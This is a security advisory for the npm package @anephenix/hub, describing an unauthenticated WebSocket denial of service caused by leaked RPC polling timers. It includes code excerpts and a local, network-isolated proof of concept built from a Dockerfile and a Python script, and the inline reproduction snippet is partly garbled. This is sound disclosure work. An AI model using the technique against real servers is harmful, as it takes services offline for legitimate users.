GitHub Advisoryadvisory · npm
GHSA-g5vv-q72c-7j78 @anephenix/hub: Unauthenticated WebSocket RPC Waiter Resource Exhaustion
HIGH
Official page ↗
- Aliases
- CVE-2026-73561
- Ecosystem
- npm
- Packages
- @anephenix/hub
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-400
- Reviewed
- 2026-07-24
Affected packages
• npm @anephenix/hub: < 0.2.16 → fixed in 0.2.16
Description
Summary
`@anephenix/hub` starts a `setInterval` polling loop for every incoming WebSocket connection to request a client ID via RPC. If the remote client never replies — which requires no authentication or special configuration — the interval and the pending request object are never cleaned up, even after the socket is closed. An unauthenticated attacker who opens many WebSocket connections and ignores all server RPC messages will therefore cause the server to accumulate unbounded timers and heap entries, leading to CPU and memory exhaustion (DoS).
Details
When a client connects, `loadDefaultConnectionEventListeners` (registered in `src/lib/index.ts:128`) adds a connection listener that calls `requestClientId({ ws, rpc })` for every new WebSocket (`src/lib/index.ts:262`). `requestClientId` issues an RPC send for the `get-client-id` action (`src/lib/clientId.ts:112`), which internally calls `rpc.send`.
Inside `rpc.send`, the payload is pushed onto `this.requests` (`src/lib/rpc.ts:282`) and `waitForReply` is invoked. `waitForReply` starts a `setInterval` that polls `responses[]` every 10 ms for a matching reply (`src/lib/rpc.ts:250`):
```ts
// src/lib/rpc.ts:250–267
interval = setInterval(() => {
const response = responses.find(
(r) => r.id === id && r.action === action,
);
if (response) {
if (interval) clearInterval(interval);
// ... resolve and cleanup
this.cleanupRPCCall(response);
}
}, 10);
```
`clearInterval` is only called when a matching response arrives. There is no timeout path and no socket-close handler that clears either the interval or the `this.requests` entry. The `close` handler registered in `loadDefaultConnectionEventListeners` (`src/lib/index.ts:128–134`) only calls `pubsub.unsubscribeClientFromAllChannels`; it does not cancel pending RPC requests for that socket.
Data flow (source → sink):
1. `src/lib/index.ts:269` — `wss.on("connection")` accepts any remote WebSocket (no authentication).
2. `src/lib/index.ts:272` — connection listeners are iterated and invoked.
3. `src/lib/index.ts:262` — `requestClientId({ ws, rpc: this.rpc })` is called for every connection by default.
4. `src/lib/clientId.ts:112` — `rpc.send({ ws, action: 'get-client-id' })` creates an RPC request.
5. `src/lib/rpc.ts:282` — `this.requests.push(payload)` registers the pending request.
6. `src/lib/rpc.ts:250` — `setInterval(..., 10)` begins infinite polling; cleanup only happens on a matching response. Socket close does not trigger cleanup.
PoC
Prerequisites: Docker must be available on the host.
Step 1 — Build the verification image:
```bash
docker build --no-cache \
-f vuln-001/Dockerfile \
-t hub-vuln-001:latest \
reports/npm_web_272_anephenix__hub
```
Step 2 — Run the container:
```bash
docker run --rm --network none hub-vuln-001:latest
```
The container runs `verify.mjs`, which:
1. Starts a `Hub` server on a local port.
2. Opens a WebSocket and waits for the server's `get-client-id` RPC message without replying.
3. Closes the socket and waits 300 ms.
4. Inspects `hub.rpc.requests.length` — it must remain `1` even though `hub.wss.clients.size` is `0`.
5. Opens five more sockets the same way (batch), then verifies that `pendingRpcRequests` equals `6`.
Step 3 — Alternatively, run the Python orchestrator directly:
```bash
python3 vuln-001/poc.py
```
Expected output (confirmed):
```json
{
"snapshotAfterClose": {"clientState": 3, "serverClients": 0, "pendingRpcRequests": 1},
"snapshotAfterBatch": {"serverClients": 0, "pendingRpcRequests": 6, "expectedPendingRpcRequests": 6}
}
```
`pendingRpcRequests` grows linearly with the number of unanswered connections and never decreases, confirming the unbounded resource leak.
Minimal inline reproduction (without Docker, inside the repository after `npm ci && npm run build`):
```bash
node --input-type=module - ws.once('message', resolve));
ws.close();
await new Promise((resolve) => setTimeout(resolve, 300));
console.log(JSON.stringify({
serverClients: hub.wss.clients.size,
pendingRpcRequests: hub.rpc.requests.length,
}));
hub.server.close();
process.exit(0);
EOF
```
Expected:
```json
{"serverClients": 0, "pendingRpcRequests": 1}
```
Impact
This is an unauthenticated Denial-of-Service vulnerability. Any network-reachable `@anephenix/hub` server running with default configuration is affected. An attacker who opens a large number of WebSocket connections and never replies to the server's `get-client-id` RPC causes the server process to accumulate one `setInterval` timer (polling every 10 ms) and one heap object per connection indefinitely. With enough connections this exhausts CPU scheduling time and memory, making the server unavailable to legitimate clients.
No authentication, special headers, or knowledge of internal protocol details are required — a plain WebSocket `connect` followed by silence is sufficient.
Reproduction artifacts
`Dockerfile`
```dockerfile
FROM node:20-alpine
RUN apk add --no-cache python3 make g++
WORKDIR /app
Install dependencies first for layer caching
COPY repo/package.json repo/package-lock.json ./
RUN npm ci --ignore-scripts
Copy the rest of the source and build
COPY repo/ ./
RUN npm run build
Copy the vulnerability verification script into /app so node_modules is resolvable
COPY vuln-001/verify.mjs /app/verify.mjs
CMD ["node", "/app/verify.mjs"]
```
`poc.py`
```python
!/usr/bin/env python3
"""
VULN-001 PoC — Unauthenticated WebSocket RPC Waiter Resource Exhaustion
(@anephenix/hub v0.2.15)
Builds a Docker image containing the hub library and a verification script,
then runs the container to produce deterministic evidence that
hub.rpc.requests[] entries (and their backing setInterval timers) are never
cleaned up when a WebSocket client disconnects without replying to the
server's "get-client-id" RPC request.
Usage:
python3 poc.py
Exit codes:
0 — vulnerability confirmed (PASS)
1 — not reproduced (FAIL)
2 — environment / build error
"""
import json
import subprocess
import sys
from pathlib import Path
---------------------------------------------------------------------------
Paths
---------------------------------------------------------------------------
SCRIPT_DIR = Path(__file__).resolve().parent
REPO_ROOT = SCRIPT_DIR.parent # …/npm_web_272_anephenix__hub/
DOCKERFILE = SCRIPT_DIR / "Dockerfile"
POC_TAG = "hub-vuln-001:latest"
BUILD_CMD = [
"docker", "build",
"--no-cache",
"-f", str(DOCKERFILE),
"-t", POC_TAG,
str(REPO_ROOT), # build context = parent dir so COPY repo/ and COPY vuln-001/ both resolve
]
RUN_CMD = [
"docker", "run",
"--rm",
"--network", "none", # no external network access needed
POC_TAG,
]
def banner(msg: str) -> None:
print(f"\n{'='*60}\n {msg}\n{'='*60}")
def run(cmd: list[str], kwargs) -> subprocess.CompletedProcess:
print("$", " ".join(cmd))
return subprocess.run(cmd, kwargs)
def build_image() -> None:
banner("Phase 1 — Building Docker image")
result = run(BUILD_CMD, capture_output=False)
if result.returncode != 0:
print("[ERROR] Docker build failed.", file=sys.stderr)
sys.exit(2)
print("[OK] Image built:", POC_TAG)
def run_poc() -> dict:
banner("Phase 2 — Running vulnerability verification inside container")
result = run(RUN_CMD, capture_output=True, text=True)
print("--- container stdout ---")
print(result.stdout)
if result.stderr:
print("--- container stderr ---")
print(result.stderr)
# The container exits 0 on confirmed leak, 1 otherwise.
if result.returncode == 2:
print("[ERROR] Verification script crashed.", file=sys.std…
Related
Alias · CVE (1)
- CVE-2026-73561 Hub is a Node.js WebSocket server and client with added features. vulnerability
Weakness · CWE (1)
- CWE-400 Uncontrolled Resource Consumption weakness